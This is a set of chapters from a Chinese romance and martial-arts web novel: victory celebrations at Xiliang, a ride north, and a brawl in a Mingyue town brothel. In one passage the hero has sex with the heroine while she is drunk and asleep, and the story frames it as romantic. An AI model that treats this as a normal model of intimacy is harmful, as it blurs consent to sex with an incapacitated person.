“燕帅,你值得。”纪云台哽咽道。 他堂堂八尺男儿,守在西凉城二十余载,眼下是他最为感慨的时刻! “倘若不是微臣双腿残疾,定然是要跟随燕帅上阵杀敌,为我西凉城百姓报仇雪恨的。”纪云台补充道:“所以这一拜,燕帅却之不恭!” 晚宴之上,将士们载歌载舞,喝酒吃肉,将这段日子的委屈苦闷还有伤痛全部发泄了出来。 “你怎么不喝?”萧苹风拎着酒壶很自然的走过来坐下。 原本还在和常千户聊天的纪云台,余光立刻就扫了过来。 萧苹风见状,眼底闪烁出恶劣的光芒。 他又往燕晚清身边凑了凑。 “不喝,是想要记住这幅场景。”燕晚清轻轻的感叹道:“以前我不明白为何父亲会那般执着于战场,但是此战之后,我好像明白了。” 萧苹风扬起手里的酒壶,抬头灌了自己一口,酒水顺着薄唇溢出,顺着他好看的脖颈淌入锁骨…… “以前我也不明白母后为什么会心甘情愿呆在父皇身边,后来听一个人说起了她的一些事情,现在我也有点明白了。”、 “你的母后?”燕晚清惊讶的看向他,记忆之中,萧苹风从未提及过自己的生母。 那个传言中美的不可方物,艳冠六国的美人。 她也十分好奇,为何最后会是大渭的皇帝最终抱得美人归。 萧苹风见她满眼都是好奇,薄唇轻轻勾起,低沉悦耳的嗓音从喉间溢出:“你想知道?” “当然。” “等你把南疆的婚事退了,孤就告知你母后的事情。” “你……”燕晚清拧着好看的眉梢,这人怎么正经了两天又开始无赖了。 她抿了抿唇:“这个我暂时不能答应你。” “不急,不出意外的话,接下来的几十年孤还是等得起的。”萧苹风将手里的酒壶倾斜到她的红唇边上,喉结微微滚动,低哑着说道:“眼下,这么快乐的日子,我们来喝酒……” 第二百四十七章 铁疙瘩开花,确实少见 燕晚清猝不及防的被灌了一口,辛辣的酒水顺着咽喉淌下,流入腹中,整个人都热乎乎起来。 她顺势自然的从他手里拿过酒壶,喝了起来。 “好酒!” 入口顺滑,辛辣之后便是绵柔的口感,隐约还有桂花的香气。 “这酒可是城主大人的私藏,平时可不舍得拿出来喝,今日打了胜仗的大喜日子,这酒终于是派上了用场。”管家刚好端着盘子上来,喜气洋洋的说道。 燕晚清看向纪云台:“这酒为何有一股淡淡的桂花香?西凉城分明是没有桂花树的。” 纪云台的视线在空中和管家交织了一瞬,很快落在了问话者燕晚清的身上:“回禀燕帅,这是离家之时带走的桂花花蜜,经过微臣母亲的秘制调配,酿酒的时候加入少许,所以这才有桂花香。” 说着他双眼弯弯笑出声:“燕帅果真是好鼻子,一般人还真的尝不出来呢。” 燕晚清又将酒壶放在自己的鼻息间嗅了嗅,那股子桂花香里还有一种奇特的清澈感,属实很难得了。 燕晚清正要说话,旁边的萧苹风突然开口:“这股子桂花香确实是点睛之笔,城主大人果真是擅长酿酒。” 纪云台本就是想和燕晚清说话,但突然来了人插话,又看见旁边的燕晚清跟着点头,他只能接下话茬说道:“老家人都是这样酿制的。” “那城主大人的老家是哪里?”萧苹风眯着一双狭长的眸子,里面是挡不住的戏谑:“好像一直都没有听过您提过。” 纪云台此时心里已经有些不高兴了。 这个男子不知道是谁,突然半道上冒出来,还和燕帅之间关系如此亲密。 可是据他所知,燕帅是和北疆的小侯爷联姻了。 那么眼前的男子估计就是和自己一样,是个追求者。 那么既然是追求者,就应该有追求者的姿态。 于是纪云台温和的笑着看向萧苹风:“这位兄台还真是好奇心很重啊,但是没关系,本城主就是喜欢和年轻人聊这些往事。”他抬手朝着管家勾了勾:“你去帮助这位小兄弟把位置挪到本城主的旁边来。” “这就不用了吧?卑职在这里坐着挺好的,还能服侍燕帅用膳。”萧苹风挑眉,微微扬起下巴看向纪云台。 都是男人,一下子就知道对方心里在想什么了。 “这怎么行呢,本城主与你一见如故,今日定然是要一醉方休,不醉不归的!”纪云台又说道:“快些挪过来吧。” 萧苹风刚要拒绝,就听见旁边的燕晚清推了推他。 声音里面已然带着三分醉意。 “你去呗,难得城主大人这么喜欢一个人,确实少见。”说完她压低声音:“去把桂花蜜的秘方要过来。” 萧苹风无奈的看着她的桃花眸中闪过狡黠的光芒。 哎,真是个小丫头。 “行,那今日卑职就与城主大人不醉不归!”萧苹风从座位旁边拎起一个大酒坛子,朝着纪云台旁边的位置走过去。 酒坛子放案几上一放。 修长的手指拔出那红色的布盖子,酒香瞬间从瓶口争先恐后的涌了出来,沁人心脾的酒香瞬间再次将大殿给弥漫开来。 燕晚清闻着那个味道,忍不住舔了舔唇角。 “管家管家,快给本帅满上!” 管家见她如此爱喝城主大人酿的酒,哪里敢耽搁,赶紧上前给燕晚清倒上,脸上的笑意将褶子堆成了一朵大菊花,别提多灿烂了。 “好好好,您少喝点,这酒后劲儿大。”管家说着,拿着酒壶给酒杯续上了。 燕晚清哪里顾得上想这些。 只觉得喝着酒,看着大殿上的众人,心里十分的踏实…… 酒过三巡。 两个彼此较劲儿的男人没有喝趴,她先趴下了。 纪云台看到燕晚清托着下巴,面颊酡红,水眸迷离的模样,一时之间看呆了过去。 “喝啊,云台兄。”萧苹风端着酒上前勾住了他的脖子,用身子似有若无的挡住了他的视线。 此时两个人已经喝的称兄道弟,除了彼此之间的最后一层窗户纸没有捅破,能说的不该说的都已经交了底,也算是兄弟了。 但是兄弟归兄弟。 兄弟的女人你别看,也别碰。 纪云台喝完自己刚认下的好弟弟递过来的酒,整个人一软,也趴在了桌子上。 管家赶紧凑上前去:“主子,主子?” “云台兄喝多了。”萧苹风口吃有些不清晰,他超着燕晚清的方向踉跄了两步,又对管家说道:“云台兄就交给你了,我先扶着燕帅去休息。” 管家有些焦急,使上劲推纪云台,心里十分不放心的冲着萧苹风喊道:“你一个大男人送燕帅做什么,老奴喊两个丫鬟送回去便是。” “丫鬟背不动燕帅的……我送她回去再回来陪云台兄喝。”萧苹风一句话就定下来了,扛起燕晚清便朝着偏门走去。 管家更加着急了,赶紧朝着丫鬟使了个眼色。 这孤男寡女的,要是出事了,他怎么跟他们家主子交代啊。 他们家主子三十好几了,别家男子到了这个年纪都要当爷爷了,就他们家主子跟个铁疙瘩一样,愣是不开窍。 一路上,丫鬟亦步亦趋的跟着萧苹风,结果发现他真的只是送过去。 “你准备点清水,待会儿给燕帅擦擦脸,身上的衣服也给她换下,等会儿她要是醒了,就扶她去洗个澡。”萧苹风自顾自的丢下这些话,根本没有发现丫鬟见了鬼的眼神。 这男子,好生心细! 想嫁! 等萧苹风走了,丫鬟赶紧按照吩咐全做了一遍,燕晚清这才舒展眉头舒舒服服的睡下了,见她睡着,丫鬟才敢离开。 宴会散去的时候,已经是月上柳梢头,大殿上七倒八歪的全都是席地而卧的将士们,纪云台被管家推回了房间,萧苹风喝的也不少。 他揉了揉发胀的脑子,随意在城主府走着,然后推开一扇门便进去了。 看着帷帐里面床榻的影子,他走上前去,却嗅到了熟悉的幽香。 “晚晚……” 被褥中的人儿嘤咛了一声。 他俯下身去,轻柔的手拂去她额头上杂乱的发丝,透着窗口的月光,露出一张光洁的小脸,他忍不住一口咬在了她的唇瓣上。 此后便是一发不可收拾…… 第二百四十八章 虎狼之词,不堪入耳 晌午的城主府依然是十分静谧的,几乎大半的人都还在休息。 纪云台揉着昏沉的脑袋,睁开了眼睛。 昨天晚上究竟喝了多少他已经不记得了,只记得自己趴下的时候,那个混小子还没有趴下。 “来人!”想到这里他冲着外面喊道。 管家赶紧推开门进来,身后还跟着个端着盘子的丫鬟,一边往里走一边说道:“主子你可终于醒了,这个醒酒汤都热了好几回了,赶紧趁热喝。” 纪云台用双手撑着床面,有些吃力的坐起来,管家拿着靠垫给他靠在身后。 一口热汤下去,胃里暖洋洋的,整个人总算是舒服了不少。 “燕帅醒了么?”他端着汤碗问道。 管家摇摇头:“派人去看了,还没呢。” “萧弟呢?”纪云台又问,他想起来昨日跟那位小兄弟之间一时兴起,对着天地发誓结为了异姓兄弟。 管家根据自己模糊的记忆回想:“当时老奴陪着主子,他去送燕帅回去休憩了,然后就回来一直陪着将士们喝酒。” 纪云台听完不知怎的心里松了一口气。 总感觉,萧弟跟燕晚清之间的关系非同一般。 …… 日光从窗口投射下来,照射在美人光洁的面容之上,她下意识抬手去挡住了那抹光亮,然后缓缓睁开了双眼。 很疲惫。 浑身上下都都透着一股子酸痛,下身更甚。 腰肢上还霸道的固定着一只手臂。 手臂的人正从背后稳稳的抱着她,呼吸就在脖颈之间,浸润到她的每一寸的皮肤里。 没清醒的时候还好。 清醒之后,燕晚清的耳坠还是忍不住红了。 一夜破碎,桂花肆意的侵略,在月光之下浮浮沉沉。 实在是有点不知道节制了。 燕晚清想到这里,身子轻微的颤了一下。 “晚晚。”耳边突然传来刚睡醒的软绵声音,奶呼呼的就像是一团柔柔的棉球,让人忍不住的想去亲近。 没有想到睡醒的太子殿下是这样的。 实在是有点反差。 “你醒了?”大手顺势往上摸去:“怎么不多睡会儿。” “唔!”燕晚清面颊酡红,赶紧将手放下去推,身子也开始挣扎起来:“松开!” “我不。”用了些力气的声音,此刻又有些沙哑低沉起来,因为挣扎,身体更加紧密的贴近,萧苹风长长呼出一口气:“乖乖……他好难受。” “闭嘴!”说的都是什么虎狼之词,简直是不堪入耳! 她昨天喝多了什么都不知道,顺着本能去迎合。 可是现在她整个人都是清醒的状态,大中午的做那种事情,她实在是做不出来。 要脸,谢谢。 “你………好不好?”他发现她的耳朵极其敏感,又故意压低声音凑过去说道,不意外的怀中的身子颤了一下,他恶劣的勾起了薄唇:“乖乖~” 燕晚清感觉自己要煮熟了。 “滚滚滚!”整个人都被他死死的焊在怀中,她又能够逃到哪里去,很快就要被攻城略地了。 只见她面若桃花,水眸缱绻,里面都是水汽,看起来无辜纯洁,极为可怜,让人就是想要忍不住的去欺负她……再更加狠狠的去欺负。 萧苹风居高临下,欣赏着这幅美景,喉结上下滚动了一下。 “……晚晚,你真美。” 燕晚清紧张的用双手扶住他的胳膊,不知所措:“别……” “别什么?”他装作听不见,低头在她的耳畔轻轻的问。 燕晚清感觉自己浑身上下都要被煮熟了。 见她羞怯的模样,萧苹风弯了弯眉眼:“多少次了,还是这般害羞。” 美人听完,好看的桃花眸里闪过一丝愠怒。 这种事情不管多少次,都会害羞的好吧! 就在二人难舍难分的时候,门外突然传来了敲门声。 “燕帅,您醒了么?微臣给你准备了醒酒汤。” 纪云台特有的温和青年嗓音透过木门,渗进了屋内床榻上的二人耳朵里。 萧苹风只觉得一盆凉水从头淋下。 他黑着脸暗骂一句:“瘟神!” 到哪儿都跟着,真是个瘟神! 燕晚清却得了空闲的功夫平复呼吸。 她听到萧苹风的话,不觉莞尔:“打扰到你,就是瘟神了?” 该死的男人。 萧苹风压低身子,俊美的容颜上竟然带着一丝委屈:“晚晚,我还难受。” “难受你也给我憋着。”燕晚清的脸一阵红一阵白。 门外还有个纪云台,要是被听见了,她还要不要活了! “晚上,晚上好不好?”男人得寸进尺。 燕晚清立场坚定:“不好。”她被折腾的浑身都是红印,身上酸痛的很,还晚上?怎么好意思说出来的。 “晚上不行,那就现在。”说着他重新压了上来。 吓得身下的人儿花容失色。 “行行行,晚上。”燕晚清赶紧答应,她觉得这个男人什么都做得出来。 此时外面的纪云台又开始喊了。 她看了一眼门的方向,脸一阵红一阵白,纤纤玉指赶紧推他:“我答应你,赶紧下去,躲起来。” 萧苹风如了意,自然是心满意足。 但是听到她让他赶紧躲起来。 心里又有了一丝不开心。 不开心,他就想欺负她。 想法刚有,头就低了下去。 燕晚清猝不及防被摁着头狠狠的亲了一口。 亲完,该死的男人还意犹未尽的用指腹摩挲了自己的唇角:“好甜。” “滚——!”燕晚清用气音大声的吼道。 看到美人发怒,萧苹风果然收敛了,他迅速穿戴好了衣服,然后躲进了衣柜里面。 燕晚清赶紧从床上坐直,然后穿戴好衣服,刚要去开门,又走到了镜子面前。 镜子前面的人,满眼春水,看起来就十分的怪异。 她又走到水盆旁边,也不知道是个什么水,直接撩起水就开始洗脸。 洗完,滚烫的面颊总算是好了些许。 只是心气还有些不稳定。 她深呼吸了三次,然后打开了门。 门外纪云台一身白衣坐在轮椅上面,膝盖上还放着一个托盘,上面是一碗醒酒汤。 听见门开的声音,他下意识转过头。 燕晚清今日随便取了一套丫鬟放在屏风上的衣服,是一套裙衫,三千发丝悉数盘成了男子的发髻在头顶上,奈何姿色上佳,此番打扮竟然更具韵味,此刻纪云台只觉得牡丹花开,故人缓缓归矣,一眼就定了终身。 “城主?”燕晚清不知道为何纪云台盯着自己不说话。 以为自己身上还有什么不妥的地方,她上上下下左左右右的看了一遍,发现一切都挺好的,于是问道:“你看什么呢?” 纪云台从愣神中缓过劲儿来,耳坠忍不住红了起来。 “没,没什么。”他将托盘端起来:“燕帅,醒酒汤。” 燕晚清屋子里还藏着人,单手端着醒酒汤直接一饮而尽。 “好了。”喝完她将碗放在了盘子上:“多谢城主关心。” “那什么。”燕晚清干咳一声:“本帅还有点困,再回去睡一会儿啊。” 说完她将双脚收回门槛内,双手拉着门,猛地合上了。 身后一躯温热缓缓的贴上来,燕晚清瞬间绷紧了身子。 “你——!” 第二百四十九章 边陲小镇,少女求救 “乖乖,我们回榻上好不好?”萧苹风揽着她的腰肢,整个人贴在身后,在她耳畔轻语道。 回去? 她见了鬼才会回去。 “你赶紧回去你的屋吧,我要去看看将士们了。”燕晚清红着脸挣扎开来,将他推到一边去。 萧苹风见她这样,知道不能再逗下去了:“好好好,但是出去之前先洗个澡。” 他说着伸了个懒腰,俊朗的面容上满是不羁,趁着她不注意又偷了个香,然后趁着人没有来得及发火之前,帅气的翻窗走了。 燕晚清一口气憋在胸口,双拳捏的紧紧的。 得亏是跑得快,不然高低给拉着这个孟浪货练练。 再等忙完已经是日头已经有些偏西斜了,燕晚清去了一趟军营整顿了一番,然后就和常千户商量什么时候回京。 原本以为这是一场恶战,却没有想到如此轻松的结束了。 燕晚清深知,这里面有一半的功劳都是萧苹风的。 最后一场战役里面,他识破了那倭寇的计谋,避免她带着骑兵走到峡谷里面,从而才能一举拿下整个城池,在七日的时间里攻城略地。 不得不说。 战事上面,萧苹风远胜于她。 从军营回来之后,燕晚清走到了一处院落。 这里是燕黎安的院子,可是院外就感觉十分静谧。 管家说自从她走了之后,兄长只呆了三日便离开了,一直到今日都未曾归来。 派去他身边的暗卫,依旧是没有任何消息回来。 估计都已经被兄长发现了。 “燕帅,您回来了啊,今日厨房里熬了鸡汤,眼下已经好了,快些过来喝吧。”管家手里端着一个硕大的瓦罐,比他的头还要大。 隔着盖子都能够闻见鸡汤的香味,十分的馋人。 “好,马上就来。”燕晚清深深的看了一眼院子,然后转身离去了。 既然光明神教已经露出水面,现在就要搞清楚他们究竟为何扣着自己的兄长。 用完晚膳,燕晚清就着这件事情和纪云台还有萧苹风商讨了一下。 “大军会稍缓两月再行回去,七皇子就麻烦城主来安抚了,到时候本帅再回来提人。”萧鸿深打开城门,让西凉城百姓死伤无数,已经被燕晚清下令关押在城主府的密室里。 纪云台当机应了下来。 燕晚清点点头:“本帅会继续再调查一番光明神教的事情,如此毒瘤不除,百姓难安,天下难安。” “这是自然,不知燕帅可有头绪?”纪云台体贴的问道。 燕晚清点点头,和萧苹风对视了一眼:“本帅打算先北上,那边还在持续战乱,一定有光明神教的线索。” “……那,燕帅打算什么时候动身?”纪云台眼里闪过一丝不舍。 燕晚清却刚好抬手去抚额头上的发丝,没有看见,她思忖片刻:“这种事情还是越快越好,就是要打个措手不及。” “明日便动身。”萧苹风接下了话茬。 纪云台看了一眼他:“萧弟也要一起去?” “燕帅乃是主帅,小弟自然是要去保护燕帅安全的,后方就交给云台兄镇守了。”虽然纪云台布置阵法有一手,但毕竟双腿在这里,实在不适合跟着他们长途跋涉。 纪云台眼底都是黯然,但是很快他重新笑道,举起手中的酒杯:“既然是这样,那这最后一杯酒就为二人践行了。” 燕晚清和萧苹风同时举起了酒杯…… 次日清晨。 燕晚清走的时候没有和任何人道别。 两人两马,些许换洗的衣服,一些银两,天刚刚透光大亮的时候,二人就已经在荒原之上策马奔腾了。 从城门出来之后,银狼便带着他的狼兄弟们一路跟随。 想当初自己进城之前,也是这样被追了一路。 “不用跟了,我们还会回来的。”燕晚清回首朝着银狼挥手。 银狼好像是听懂了。 站在高处朝着他们:“嗷呜——” 清晨凉爽的风吹拂着她的发丝,胸腔里的沉闷一扫而光,双腿夹着马匹,马鞭甩在身后,发出清脆的声音,速度更快了。 萧苹风看着她加速,也跟着提速上去。 北上这件事情,在急,就让所有人都以为他们在欢庆战争胜利后的快乐的时候,她要打这群人一个措手不及! 雁门关,我燕晚清来了! 她眼底都是坚定的神色,父兄究竟在这里遭遇了什么,她通通都要知道! 五日后。 二人路过有人烟的边陲小镇。 萧苹风拉着燕晚清的缰绳拖了进去:“已经五日了,再不好好睡一觉,你就垮了。” 燕晚清面色发白,整个人风尘仆仆,看起来十分的疲惫。 “好。”这次她没有犟,很乖巧的同意了。 身体已经到达的极限,哪怕自己逞能,也不能连累萧苹风。 看着他原本光洁的下巴上面都是青色的胡渣,燕晚清有些自责上手去摸:“是我急躁了,没有考虑你的感受。” 萧苹风勾唇:“老夫老妻的,说这些干什么。” 这人! 真是的! 燕晚清面色燥红,她赶紧收回了手。 萧苹风自顾自的说道:“此处距离雁门关不过三日的路程了,今日整顿一下,让马儿好好休息一晚,时间还是比较充裕的。” 燕晚清见他思虑周全,于是点点头。 此处小镇非常热闹。 可能是因为地形的优势,前有山后有水,完全没有受到两处战乱的影响。 “这里,应该算是秦国的地界了。”燕晚清坐在马背上,看着商贩们手里卖的物件说道。 然后她就想到自己好像是将秦舞丢在了蓝湖…… 不过那么大的人应该知道自己回家吧,身边毕竟还跟着一个力大无穷的阿满。 “求,求求你们救救我!”一个衣衫凌乱的少女猛地从前方冲了进来,直勾勾的扑向了牵着两匹马走在路上的萧苹风面前:“救命!” 眼看着整个人就要钻入他的怀抱,燕晚清的眉头都挑起来了,就见萧苹风拉着马头往自己面前一挡,少女的脸贴在了马鼻子上。 燕晚清:“……”这人高低是不懂得怜香惜玉的。 “干什么?”萧苹风冷着脸看着那突然冲出来的女子:“没看见马啊。” “……奴家,奴家只是……”少女泣不成声,哭的越发大声起来。 燕晚清心有不忍:“你别哭,慢点说,他不是针对你,就是你太快了,怕你受伤而已。” 少女听见安慰的声音,这才抽抽噎噎的开口:“求求你们救救我,我不想被抓到青楼里面去,我真的不想,我才刚刚及笄啊……” 话还没有说完,街口窜出来几个凶神啥的壮汉来,各个虎背熊腰,看起来十分不好相与。 “小贱人,你跑啊,你再跑一个试试!”那壮汉说着,伸出手就去抓少女的头发…… 第二百五十章 明月小镇,暗中窥伺 少女绝望的闭上了双眼,泪水淌了下来。 就在这时,燕晚清请咳了一声。 原本还想事不关己高高挂起的太子殿下,嶙峋眉峰里都透着一股子不耐烦。 眼见那壮汉的手抓着少女的头发就要用力往上扯,手背猝不及防的被剑鞘给拍了一下,壮汉手背一麻,松了手。 少女迅速躲在了萧苹风身后,做出防备的姿态看着前方,生怕自己被抓走。 萧苹风不动神色的将自己的距离与其拉开了一点。 “臭小子,不该你管的事情你别管。”壮汉搓了搓手背,凶神恶煞的看着萧苹风二人,目光在落在燕晚清身上的时候明显愣了一下,十分惊艳。 萧苹风闻言眼里闪过一丝杀意:“我这个人就是有反骨,你不要老子管,老子就非要管。” 壮汉往地上啐了一口,“你一个外乡人,别敬酒不吃吃罚酒,况且你已经有这么漂亮的美人了,还要这个小丫头片子做什么!” 少女恰好在这个时候眼泪汪汪的说了一句:“救我……” 壮汉双手环臂嗤笑了一声:“你要是非想要这丫头片子也行,拿你马背上的美人换。” “找死!”此言一出,萧苹风直接拔剑出鞘,长剑抵在了壮汉的脖颈处:“再敢出言不逊,要你狗命。” “外乡人你动个手试试,你但凡动了手伤了我阿彪一根毛发,我保证你走不出明月镇。”壮汉阿彪有恃无恐的说道:“你们不过是从这里路过,就不要做些英雄救美招惹祸端的事情,你们压根都不知道这个丫头到底欠了我们多少钱,又惹了多少事儿。” 说着阿彪又冷冷的扫了那少女一眼:“别以为我不知道你藏了什么心思,欠债还钱,天经地义,你不要拖不相关的人下水,不然有你的好果子吃。” 听着这壮汉的话,似乎里面还有乾坤。 燕晚清和萧苹风对视了一眼看到了彼此眼中的沉思。 于是萧苹风缓缓收回了长剑:“你说的对,这件事情本不应该我们管,既然是欠债的,跟债主之间的关系,那你们就自行处理吧。” 他本来就不想救这个少女,倘若不是晚晚开口了,早在这少女扑上来的一瞬间,他就用脚蹬开了。 瞅见这种往男人怀里钻的女子,他就浑身难受。 还是他家晚晚好,不会搞这些绿茶白莲的手段。 阿彪听着他的话,现在还紧紧缩着的少女身上:“你还站在人家后面干什么?还不赶紧过来!” 少年见萧苹风无意救自己,眼珠子一转,双膝直接跪地,朝着燕晚清磕起了头。 “小姐,你一看就是人美心善的,求求你救救我,我真的不想回去。”她疯狂的磕头,很快额头上便鲜血淋漓。 燕晚清瞧着她的年纪与五妹也相差不了多少,眼中闪过不忍。 但是她还是闭嘴没有吭声。 在外乡就要守外乡的规矩,当街救人,实在是一个很愚蠢的行为。 容易树敌,还容易上当受骗。 在经历过李呈媛这种货色之后,燕晚清再也不会对任何女子心存多余的善意了。 少女见她沉默,眼神十分绝望,她跌坐在地上,充满泪水的眼眸,看着马上的燕晚清。 “为什么?”她忍不住质问:“你们衣着显贵,一看就不是一般的人,伸出援手救我一命,对你们而言就是举手之劳的事情……为什么不救我?!” “贱人,废话这么多,赶紧跟我走。”阿彪说着让手下过去一把拉起地上的少女:“我阿彪最后一次警告你沈淑云,好好干活还债,不然你和你的死鬼哥哥都得死!” 被喊作沈淑云的女子,目光却一直都在燕晚清身上。 她的眼里有深深的质问和怨毒。 她在怨恨燕晚清的冷漠,怨恨她没有搭救自己。 直到人被拉走了。 燕晚清还在眯着眼睛看着他们消失的方向。 接下来二人都没有说话,一直到找到了休憩的小店,进了房间之后,萧苹风才缓缓开口:“你看出来了?” “那么大的图腾,很难看不出来。”燕晚清勾唇笑了笑。 阿彪身上的图腾,她可是亲手描绘过。 “这里叫做明月镇。”她摩挲着桌子上的杯盏,给自己倒了一杯茶:“看起来要在这里稍微待一段时间了。” 萧苹风自然是没有异议的:“你去哪儿,我就去哪儿。” 连续五日赶路,没有好好休息和吃饭,所以下了楼之后,二人决定好好的吃一顿。 “店家,你们小镇上,哪家的饭菜最为好吃?”燕晚清问道。 店家忙着记账,但是语气还是热络的:“自然是明月酒楼了,那里的大厨是镇上最好的师傅。” 店家指了方向,燕晚清二人便步行过去了。 燕晚清沐浴之后换了一套男子的装扮,一双桃花眼顾盼神飞,唇角老是噙着一抹微笑,将好奇看过来的镇上姑娘看的个个脸红心跳。 旁边的萧苹风也是俊美,但一直冷着脸,也就没有姑娘敢亲近他了。 等到了明月酒楼,燕晚清的怀中已经塞了好些帕子和锦囊。 最后一个姑娘将自己的簪子塞在了燕晚清的手里,眨眼睛冲着她说:“公子晚上可一定要来找奴家哦。” 气得萧苹风点菜的时候都没有说一句话。 “你还看?难不成晚上真要找她去。”终于,冰山忍不住开口了。 燕晚清纤细的手上捏着一枚牡丹花簪,抬眼好笑的看了一眼他:“你生气了?生的什么气?” “你来者不拒我不该生气吗?”萧苹风咬着后槽牙说道。 燕晚清扬了扬手里的牡丹花簪:“你说的是这个?” “明知故问。”小气的男人端着酒水一饮而尽。 下一秒,燕晚清当着他的面将牡丹花给摘了下来,从花拖的地方取出了一个小卷纸。 她似笑非笑的抬眼扫过去:“好一个明知故问。” 萧苹风:“……”就气他吧,气死他得了。 摊开纸条,上面写着一行小字。 “明月香,戌时。” 这最后一个姑娘是她的暗卫,所以太子殿下这吃的是哪门子的飞醋。 自知理亏的某人,摸了摸笔挺的鼻梁,好在是店家开始上菜了,他才终于能够在燕晚清促狭的目光中喘一口气。 等到上完菜。 萧苹风正色道:“明月香是这里的烟花柳巷,我们刚到明月镇,就一下子出来了这么多消息,看来暗处的人有些急不可耐啊。” “小心隔墙有耳。”燕晚清将纸条用内力震碎为齑粉:“先吃饭,晚上再说。” 如果记得不错的话,阿彪和沈淑云都是明月香的人。 第二百五十一章 使唤太子,一回生二回熟 明月香是明月小镇上唯一一家**冢。 是所有男子心驰神往的仙国,是所有女子痛骂的祸端。 镇上几乎隔三差五就会出现男子在里面花光了钱,被扒了个精光丢到大街上的场景。 旁边卖早食的铺子老板都见惯不惯,遇到这些过来求助的男子,他甚至还会拿出菜刀吓退。 倒不是老板没有同情心,只是这群被丢出来的人,大多是不顾家的赌棍,砸锅卖铁就为了桌上的一时快乐,更有甚者将妻女抵押进去,可谓是丧尽良心了。 燕晚清和萧苹风戌时准时出现在了明月香。 二人长相英俊,身子挺拔,一蓝一白长袍翩翩,极其潇洒。 再加上萧苹风不知道从哪来弄来的两柄扇子,让二人更为气度不凡,在本就男色匮乏的明月小镇上,吸引了将近大半个人口数量的女子的关注。 “多少有点刻意卖弄风情的嫌疑。”燕晚清干咳一声,用扇子挡住了脸小声说道。 萧苹风比她高一个头,丝竹喧嚣,他附耳倾听:“什么?” “没什么。”燕晚清懒得再说,发现萧苹风凑过来之后身边的女子们看过来的眼神更为热切了。 萧苹风却不肯放过她,继续说道:“说起来,这是咱俩第一次逛这种地方。” “这种事情有个一次就可以了。”燕晚清知道再聊下去又会聊偏了,于是冲着那人群中一直偷摸摸用眼神打量他们的中年妇女招了招手:“妈妈过来。” “好嘞客官,来啦!”她穿着花枝招展又露出圆润香肩的罗裙,手里捏着一柄美人扇子,迅速走了过来。 三十好几,面容不算秀美,但胜在皮肤雪白,风韵犹存。 尤其是那双柳梢眉,看过来的时候,一派温柔。 等到人到跟前儿了,更是一股子木质香味扑面而来,让人十分舒适。 “两位客官今晚需要玩点啥?” “你这里有什么?”萧苹风开口问道。 老鸨喜笑颜开,上下打量着二位:“你看你们二位就是刚从外乡过来的话,咱们明月镇可找不到像您二位这般俊俏的小公子。”饱了眼福,她也不忘记正事:“咱这儿,想玩乐子就去左边,玩温柔就往右边。” 两边都是人声鼎沸,但是从中间大厅就划分了区域,泾渭分明。 看得出来做生意的老板还有点头脑。 燕晚清和萧苹风对视了一眼,她压低声音说道:“那带着姑娘去玩乐子呢?” “自然是再好不过了!”老鸨开心极了,这一下子就赚了双份的钱啊。 她殷勤的看着燕晚清:“您可有相中的姑娘啊?” 这还真有。 燕晚清用扇子遮住半张脸,凑上前:“你们这儿有个叫沈淑云的姑娘,下午冲撞了我的马,这……” 老鸨眼神中闪过一丝警惕,但下一秒在萧苹风递出一锭银子之后,瞬间烟消云散,赶紧双手捧住银锭子:“一切好说一切好说,只是那丫头片子性格恶劣,咱们明月楼一时半会儿还没有调教好。” “没事儿,小爷我就喜欢性格烈的,没点小脾气小爷我还觉得不够味儿呢!” 这样出手大方的客人,老鸨恨不得再来两三打。 “那您二位先玩着,妾身去给您找她。” 燕晚清看着老鸨微笑颔首。 等人走了,她看向左边:“要不玩玩?” “行。” 二人刚上桌子,骰子还没有开呢,喧闹的室内就传来一连串脚步声,紧接着所有人看向他们的目光都带着一丝诡谲。 燕晚清和萧苹风却依然气定神闲。 “开啊,怎么不开了?”燕晚清用扇子指着桌面说道。 只见那双手摇晃骰盅的荷官,勾出一抹冷笑。 “天堂有路你不走,地下无门你偏要闯进来!” “上个跟我们这样叫嚣的人,坟头草都三米高了。”燕晚清轻蔑的眯着水眸,她直勾勾的看向荷官身后,站在台阶上已然变了一副嘴脸的老鸨:“这开门做生意的,哪有拿了钱就开始折腾客人的道理?” “你们也算客人?!”老鸨拍了拍手,凶神恶煞的壮汉瞬间将唯一一个出口堵住了。 这是怕他们跑了啊。 要么说呢,这俩壮汉就能堵一个门,门着实是有点小了。 燕晚清心里只有这个想法。 “你先我先?”太子殿下开口道。 此刻,他只想让这群败类躺在地上。 “您先,您先。”燕晚清十分客气,抬脚一踹那桌子,整个人退出一米开外,十分悠闲的翘着二郎腿摇着折扇。 有免费的打手,不用白不用。 萧苹风:“……”他的乖乖,真实在。 老鸨见这二人完全没有将他们俩放在眼里,满眼都是杀气:“你们不要太嚣张了!给我上!” 话音刚落,那白日里刚见过面的阿彪,便摸了一把鼻子走了出来。 他看着萧苹风抬了抬手:“对不住啊兄弟,吃的就是这碗饭。” 萧苹风站的笔直,扬眉:“请赐教。” 阿彪还算是个有礼貌的,剩下的兄弟们就没有这个礼数了,直接扑了上去。 萧苹风眼皮不眨,手中的折扇就是武器,抬手直接就是对方的脖颈,三两下,人就躺了大半。 老鸨见萧苹风武力值奇高,便看向一旁的燕晚清:“去,把那个女人给我抓过来!” 打手们在老板的怒吼之下转变了打法,大部分人还是围着萧苹风,让他腾不开手过去。 剩下的五名壮汉直接逼近了燕晚清,而对方依旧笑嘻嘻。 “这告诉你,本小姐就是好惹的了?”她轻哼一声,折扇刷的打开,内力顺着扇骨进去,抬手一扇,身前的壮汉便觉得自己身轻如燕,还没有开始念出娘亲我终于会飞了,便重重的碰顶然后砸了下去,各个砸的眼冒金花,躺在地上哀嚎不断。 手段比旁边喜欢给人强制入眠的太子殿下更为狠辣。 “你,你别过来啊!”老鸨指着燕晚清骂道,与此同时吆喝着自己的打手:“还不都赶快滚起来,小心老娘不给你们发银钱!” “说到银钱——”燕晚清朝着老鸨伸出了手。 老鸨:“……?” “你刚刚收了我们一锭银子。”燕晚清无奈的看着老鸨勾了勾四根手指头,双商堪忧啊:“嗯哼?” 老鸨明显感觉自己被羞辱了。 在明月镇这么多年,从来都是她付明月欺负别人,哪有别人欺负她的道理! 简直是可忍孰不可忍! 想到这里,付明月一咬牙:“现在谁给我把这个女人绑起来,谁就是半个明月香的主人!” 加薪升职! 瞬间地上哀嚎的打手们来劲了。 包括一直边缘地带游离的阿彪也睁大了双眼。 他白日里是见过萧苹风的武力的,自然不肯上前讨苦头吃。 但是眼下遭不住金钱地位的诱惑。 “冲啊!为了明天!” 第二百五十二章 凭你?凭你们? 